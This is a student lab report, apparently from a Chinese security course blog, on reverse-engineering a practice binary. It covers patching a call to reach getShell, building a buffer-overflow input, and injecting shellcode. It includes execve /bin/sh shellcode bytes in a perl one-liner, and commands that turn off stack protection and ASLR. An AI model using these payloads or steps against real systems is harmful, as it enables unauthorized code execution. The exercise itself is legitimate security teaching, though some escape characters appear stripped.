zoukankan      html  css  js  c++  java
  • 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 《网络对抗技术》EXP1 PC平台逆向破解

    一.实验内容

    • 本次实践的对象是一个名为pwn1linux可执行文件。
    • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。但是该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    三个实践内容如下;

    • 直接修改程序机器指令,改变程序执行流程。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode

    具体的实验步骤

    直接修改程序机器指令,改变程序执行流程

    • 首先检查共享文件夹设置是否成功cd /mnt/hgfs

    • 通过共享文件夹把pwn1拷贝到虚拟机中,用指令对其进行备份,方便后面的实验中用到cp pwn1 pwn_1

    • 再对其进行反汇编objdump -d pwn_1 | more,将二进制转进行反汇编操作

    • 分析反汇编出来的代码,寻找到需要修改的对应代码的位置。

      1. 在main函数中找到call语句,call 8048491 <foo>,可以看出:
      调用的是地址为8048491的foo函数(箭头指向)。

      2. 对应找到这句call指令位于地址80484b5,对应机器码是e8 d7 ff ff ff,查表知道e8call(跳转)。

    • 使用命令vim pwn_1打开可执行文件,使用命令:%!xxd将其转换成十六进制文件

      1. 进入vim后,按i进入插入模式,按esc进入普通模式,即快捷模式.。
      2. 退出保存时,:wq再回车键,或者escshift+zz
    • 输入/e8d7找到要修改部分的代码,并对其进行修改,将d7修改为c3

    • 输入%!xxd -r将十六进制转换成为原格式,并保存退出。

    • 再输入反汇编指令objdump -d pwn_1,查看到call指令已经被修改为直接调用getShell

    • 再运行pwn_1文件,可以看到出现了shell提示符#

    构造输入参数,造成BOF攻击,改变程序执行流

    • objdump -d pwn_2反汇编pwn_2文件
    • 找到需要替换的目的地址
    • 使用 per命令将输入的参数定向到BOF1中,使用|管道命令将输出的BOF作为pwn_2的输入
    • BOF攻击成功

    注入Shellcode并执行

    • 准备工作:
      1. 关闭堆栈保护
      2. 关闭堆栈执行程序
      3. 关闭地址随机化
      4. 在x32环境之下
      5. 在Linux实践环境之下
        6.具体命令:
    命令 作用
    apt-get install execstack 安装execstack
    exestack -s pwn_3 关闭堆栈执行保护
    exestack -q pwn_3 查询文件堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space 查询是否关闭地址随机化
    echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
    more /proc/sys/kernel/randomize_va_space 查询是否关闭地址随机化

    • 查找地址,在命令行输入perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode,再输入(cat input_shellcode;cat) | ./pwn_3注入这段攻击

    • 在另一个终端中输入ps ef | grep pwn_3,来查找pwn_3的进程号为78857

    • 继续在另一个终端中用gdb对其进行调试,输入attach 78857

    • 通过disassemble foo查看foo的汇编代码,可以看到ret指令对应的地址为0x080484ae

    • 通过设置断点查看注入的位置

    • 将之前的|x4x3x2x1替换为ffffd380,按书写方式为x80xd3xffxff

    • 注入成功

    遇到的问题

    • 共享文件夹设置不成功
    询问同学和查看学长学姐博客,发现是自己的权限设置有问题。最后该问题已解决。
    

    • 刚开始做时,对一些基础指令不熟悉
    指令 作用
    objdump -d pwn_1 对pwn_1的二进制文件进行反汇编
    :%!xxd 将二进制文件转换成为十六进制文件显示
    perl -e 指定字符串以作为脚本(多个字符串迭加)执行
    | 管道,把前者的输出作为后者的输入
    NOP 90。空指令,CPU不做操作,继续执行NOP后面的一条指令
    JNE 75。条件转移指令,若不相等则跳转
    JE 74。条件转移指令,若相等则跳转
    JMP 无条件转移指令。段内直接短转 Jmp short(EB) 段内直接近转移 Jmp near(E9) 段内间接转移 Jmp word(FF) 段间直接(远)转移 Jmp far(EA)
    CM 比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。
    CALL E8,调用子程序。
    • 在进行实验三时,查找到进程号但是无法对其进行调试

    实验整体思路总结

    实验一:

    • main中的call语句会调用
      函数,需要我们手动修改机器指令,使call语句的调用由foo变为getshell

    实验二:

    • 即main函数中的call语句调用完foo函数后,eip会执行main函数中的call指令的下一条指令,现在要将其修改为执行getshell的内存地址,即要知道foo函数的长度,并构造输入字符串。

    实验三:

    实验收获:

    • 这次的实验收获收获还是很多的,更多的是从原理上理解了缓存区溢出,该如何构造,而不是简单的通过指令操作机械的完成了实验,其中的指令只是一些辅助工具。
    • 漏洞及其危害:
      1. 我认为的漏洞应该是一种缺陷,可能是原理上的也可能是实现上的,总之能够让攻击者有机可乘。
      2. 可以使攻击者能够在未授权的情况下访问或破坏系统。
      3. 危害:结合信息安全技术的学习,危害可能有数据的覆盖丢失,病毒的植入,对本机进行监听,甚至获取你的个人信息造成经济上的损失。

    参考资料

  • 相关阅读:
    locate和grep命令
    内存管理(30天自制操作系统--读书笔记)
    单字节的FIFO缓存(30天自制操作系统--读书笔记)
    STM32 DMA中断只进入一次的解决办法
    Linux Linker
    Linux Linker Script
    java学习-- equals和hashCode的关系
    java学习--"==”和 equals
    java学习--equals
    POI richText和html的转换案例
  • 原文地址:https://www.cnblogs.com/0630tx/p/10540907.html
Copyright © 2011-2022 走看看